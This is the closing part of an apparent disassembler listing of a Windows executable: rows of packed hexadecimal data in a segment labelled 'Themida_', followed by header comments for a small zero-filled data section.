		dd 660F8373h, 4D908994h, 0FDDFA7E9h, 486F3ACh, 0AACEFF4Eh
		dd 0DF39C377h, 6014CB54h, 858D5070h, 9105DF05h,	1D815F36h
		dd 0A1D19E75h, 0F9FA3993h, 722A1FB3h, 0BD5F6379h, 0CDF333EDh
		dd 0D568CBA7h, 0D9ED8E50h, 9A5FFFAFh, 0BE0918DDh, 0F57B0AAEh
		dd 56FF583Dh, 2327FC3Dh, 0FED24A55h, 3B687D33h,	7988E0AFh
		dd 16DDA718h, 7AE3688Fh, 0EB38E6A8h, 0B9805DA2h, 2545E92h
		dd 728E2393h, 1B2D2A0Dh, 0E98210B2h, 32427E81h,	68FE2F80h
		dd 0CA3904FBh, 1651F579h, 21D9BCF2h, 2AA40A31h,	0FA265433h
		dd 6681DEE2h, 9D3CCCFFh, 0DE98F6DEh, 0D4DC6CD5h, 0F4812FAEh
		dd 0C20A1C0Fh, 858D2ACCh, 9B2BA489h, 664F044Dh,	3AF44952h
		dd 0B762D2BDh, 9AC72835h, 2817D82Bh, 8B0C8359h,	0E55FC822h
		dd 0AAF1DC00h, 0CACB6318h, 0BAD1BCBEh, 61B30599h, 0EA41C085h
		dd 83C89005h, 82AEF645h, 0CD067677h, 0E4CA9CA9h, 11423F0Ch
		dd 0D28846EFh, 75C758E9h, 30A1F29Ah, 96A87DF4h,	0E1992C4Bh
		dd 0B3AD98ACh, 2D8FD457h, 0C4BA853Eh, 0B6756EABh, 5153E69Bh
		dd 2DF0960Eh, 0F6F850D5h, 0ED231553h, 7105C959h, 90E16ED3h
		dd 36AF83ABh, 59658DAEh, 0F95530DDh, 2A11A356h,	76F290B5h
		dd 2965B799h, 6B4258C1h, 3A54BECEh, 0F5B7AABBh,	0DA71A5FEh
		dd 9DA63A79h, 0E1319C97h, 0A687C0EAh, 0A6A5DEAh, 7DF3EB67h
		dd 0B8959033h, 0BE98CF38h, 18BD3154h, 7190D843h, 35F1E64Ah
		dd 0D2328FB6h, 9D02ACEFh, 0BE591AD5h, 3A4CABBBh, 0B974B01Ch
		dd 82C99A27h, 72E6B52Dh, 0A7E69482h, 664B64B1h,	0A88F4D9Fh
		dd 0A6ED971Ah, 0A5D3A4BCh, 0B6680A84h, 5A7FB38Ch, 0C145882Dh
		dd 9AE69216h, 7689BDFEh, 0DDB76C50h, 7E186C40h,	2F514270h
		dd 63947E9h, 780C09E4h,	5D1FF8F2h, 0EA9B44B5h, 377CCDD8h
		dd 0A70C31D5h, 3E5528DFh, 5E0DB545h, 0E303D0D3h, 7AFCCF81h
		dd 3FF5A843h, 5A60E0B2h, 86CD33B3h, 976C162Eh, 5266EEB5h
		dd 0B0ED801h, 2EBE33D5h, 0EDA693DFh, 0FC3CBDE2h, 42AFFBEFh
		dd 934AF5Fh, 6FB9B269h,	9CF5BEFCh, 0DA3D1147h, 8350E07Ah
		dd 7CC3309h, 9AEB9348h,	0AA9FE9DCh, 0DDA5A041h,	2346F4B3h
		dd 9D9E4E64h, 3A7FC2FCh, 0D921F55h, 800E4614h, 541C871Bh
		dd 0E904D4E0h, 88011886h, 5EC463E1h, 88F5AB4Ch,	67BE1CB0h
		dd 9985BFD0h, 53177355h, 7E4C60E5h, 0DA3724A1h,	0D45A701Ch
		dd 526DBCB8h, 46510813h, 0FACC548Dh, 0CB4784CBh, 5FCEC8D1h
		dd 0DEC6BB2Eh, 0C2D99D07h, 7634D0F7h, 0F29448F9h, 8F31E3B0h
		dd 4A80D484h, 5529E8E4h, 30FCB3A0h, 0DEh, 0DAAh	dup(0)
dword_612D20	dd 4B8h	dup(0)	Themida_	ends

; Section 5. (virtual address 00214000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00214000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 614000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start